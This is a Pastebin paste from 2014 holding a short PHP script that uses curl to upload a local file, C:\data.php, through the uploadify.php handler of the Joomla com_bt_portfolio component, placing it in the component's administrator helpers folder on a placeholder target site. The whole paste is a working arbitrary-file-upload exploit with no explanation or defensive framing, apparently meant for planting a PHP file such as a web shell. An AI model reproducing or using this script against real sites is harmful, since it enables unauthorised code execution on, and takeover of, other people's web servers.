Serwan

کۆد

Dec 3rd, 2014
248
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.44 KB | None | 0 0
  1. <?php
  2. $uploadfile="C:\data.php";
  3. $ch =curl_init("http://www.Test.com/administrator/components/com_bt_portfolio/helpers/uploadify/uploadify.php");
  4. curl_setopt($ch, CURLOPT_POST, true);
  5. curl_setopt($ch, CURLOPT_POSTFIELDS,
  6. array('Filedata'=>"@$uploadfile",'folder'=>"/administrator/components/com_bt_portfolio/helpers/"));
  7. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  8. $postResult = curl_exec($ch);
  9. curl_close($ch);
  10. print "$postResult";
  11. ?>
Advertisement
Add Comment
Please, Sign In to add comment